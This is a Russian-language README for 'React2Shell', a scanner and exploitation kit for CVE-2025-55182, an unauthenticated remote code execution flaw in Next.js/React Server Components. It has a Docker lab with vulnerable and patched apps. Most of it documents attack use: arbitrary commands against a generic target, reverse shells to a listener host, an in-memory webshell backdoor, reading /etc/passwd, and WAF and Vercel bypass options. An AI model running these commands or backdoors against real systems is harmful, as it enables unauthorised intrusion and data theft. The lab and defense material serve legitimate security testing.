React2Shell
Сканер и эксплойт-набор CVE-2025-55182 для RCE в Next.js/React Server Components.
Структура репозитория
React2Shell/
├── browser-extension/ # Chrome-расширение для обнаружения через браузер
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # CLI-сканер и инструмент эксплуатации
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # Учебная документация
│ ├── README.md # Путь обучения (индекс)
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # Среда Docker для тестирования
│ ├── vulnerable/ # Уязвимое приложение Next.js (React 19.2.0)
│ ├── patched/ # Исправленное приложение Next.js (React 19.2.1)
│ ├── waf/ # Контейнер ModSecurity WAF
│ ├── waku-app/ # Уязвимое приложение Waku (React 19.2.0)
│ ├── react-router-app/ # Уязвимое приложение React Router (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Шаблоны Nuclei
├── CVE-2025-55182.yaml # Обнаружение RCE (выполняет код)
└── CVE-2025-55182-safe.yaml # Безопасное обнаружение по побочным каналам
Быстрый старт
CLI-инструмент
cd cli
pip install -r requirements.txt
# Сканирование цели
python react2shell.py https://target.com
# Выполнение команды
python react2shell.py https://target.com -c "id"
# Интерактивная оболочка
python react2shell.py https://target.com -i
Браузерное расширение
- Откройте
chrome://extensions/
- Включите «Режим разработчика»
- Нажмите «Загрузить распакованное расширение»
- Выберите каталог
browser-extension
Лабораторная среда
cd lab
docker-compose up -d
# Эксплуатируемые цели:
# Next.js Уязвимый: http://localhost:3011 ← Полный RCE
# Waku Уязвимый: http://localhost:3014 ← RCE (слепой — нет HTTP-вывода)
# React Router: http://localhost:3015 ← Полный RCE (ESM)
# Защищённые цели:
# Next.js Исправленный: http://localhost:3012 ← Безопасно
# WAF Защищённый: http://localhost:3013 ← ModSecurity блокирует эксплойты
Сканер Nuclei
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
Возможности
CLI-инструмент (cli/react2shell.py)
- Поддержка нескольких фреймворков — Next.js, Waku, React Router, Expo, Vite RSC, Parcel RSC
- Обнаружение фреймворка (
--detect) — автоматическое определение целевого фреймворка
- Перечисление конечных точек (
-E) — автоматическое обнаружение RSC-эндпоинтов
- Сканирование уязвимостей — одиночный URL или пакетное сканирование из файла
- Выполнение команд (
-c) — выполнение произвольных команд
- Интерактивная оболочка (
-i) — постоянный сеанс команд
- Реверс-шелл (
-r) — несколько типов: nc, bash, perl, python, ruby
- Веб-шелл в памяти (
--webshell) — установка постоянного бэкдора
- Чтение файлов (
-f) — прямое чтение удалённых файлов
- Локальное сканирование (
-L) — проверка package.json на уязвимые версии
- Обход WAF — мусорное дополнение (
-w), юникод-кодирование (-u), специфичный для Vercel ()
Браузерное расширение (browser-extension/)
- Автоматическое обнаружение индикаторов уязвимости RSC
- Настраиваемые пути эксплойта
- Выполнение команд с отображением вывода
- Включение/отключение
- Визуальные индикаторы «уязвимо/безопасно»
Лабораторная среда (lab/)
- Уязвимый Next.js (3011) — полный RCE с выводом через X-Action-Redirect
- Waku (3014) — RCE подтверждён, требует формат пути
/RSC/F/{x}/{y}.txt
- React Router (3015) — полный RCE с использованием
process.getBuiltinModule(), совместимого с ESM
- Исправленный Next.js (3012) — для тестирования обнаружения без эксплуатации
- WAF Защищённый (3013) — правила ModSecurity для исследования обхода
- Панель управления (8080) — логирование атак и визуализация
Примеры использования CLI
# Базовое сканирование (автоопределение фреймворка)
python react2shell.py https://target.com
# Определение фреймворка и перечисление конечных точек
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# Выполнение команды на разных фреймворках
python react2shell.py https://target.com -c "id" # Next.js (авто)
python react2shell.py https://target.com -F waku -c "id" # Waku (слепой RCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# Примеры с лабораторной средой
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# Выполнение команды со всеми обходами WAF
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# Интерактивная оболочка через прокси
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# Установка веб-шелла в памяти (создаёт бэкдор на порту 1337)
python react2shell.py https://target.com --webshell mypassword
# Доступ: curl 'http://target:1337/?p=mypassword&cmd=id'
# Реверс-шелл
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# Сканирование локального проекта на уязвимые версии
python react2shell.py -L /path/to/project
# Пакетное сканирование с выводом
python react2shell.py targets.txt -t 20 -o results.json -v
Все опции CLI
Параметры выполнения:
-c, --cmd Команда для выполнения
-i, --interactive Интерактивный сеанс оболочки
-r, --reverse Режим реверс-шелла
-l, --lhost Хост слушателя
-p, --lport Порт слушателя
-S, --shell-type Тип оболочки (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file Чтение удалённого файла
Параметры сканирования:
-P, --path Пути для тестирования (через запятую или файл)
-t, --threads Количество потоков (по умолчанию: 10)
-T, --timeout Таймаут запроса в секундах (по умолчанию: 10)
-s, --safe Безопасный режим (без выполнения кода)
-L, --local Сканирование локальной директории проекта
-F, --framework Целевой фреймворк (auto, nextjs, waku, react-router, expo)
-E, --enumerate Перечисление RSC-эндпоинтов перед эксплуатацией
--detect Только обнаружение фреймворка и вывод эндпоинтов
--webshell Установка веб-шелла в памяти на порту 1337
--rce Режим PoC для RCE (по умолчанию: безопасный режим)
Параметры обхода:
-w, --waf-bypass Дополнение мусорными данными
-W, --waf-size Размер мусора в КБ (по умолчанию: 128)
-u, --unicode Обход с помощью юникод-кодирования
-V, --vercel-bypass Обход, специфичный для Vercel
--windows Полезные нагрузки для Windows PowerShell
Параметры запросов:
-x, --proxy URL прокси (например, http://127.0.0.1:8080)
-H, --header Пользовательские заголовки
-A, --user-agent Пользовательский User-Agent
-k, --insecure Отключить проверку SSL
Параметры вывода:
-o, --output Сохранение результатов в JSON
-v, --verbose Подробный вывод с определением версии
-q, --quiet Показывать только уязвимые цели
--no-color Отключить цвета
--no-banner Скрыть баннер
Детали CVE-2025-55182
| Поле | Значение |
|---|
| CVSS | 10.0 (Критический) |
| Воздействие | Неаутентифицированное удалённое выполнение кода |
Затронутые фреймворки
Создатели
Отказ от ответственности
Данный набор инструментов предназначен только для авторизованного тестирования безопасности. Используйте его только в системах, которые вам принадлежат или на тестирование которых у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен.
CVE-2025-55182 | CVSS 10.0 | Только для авторизованного тестирования безопасности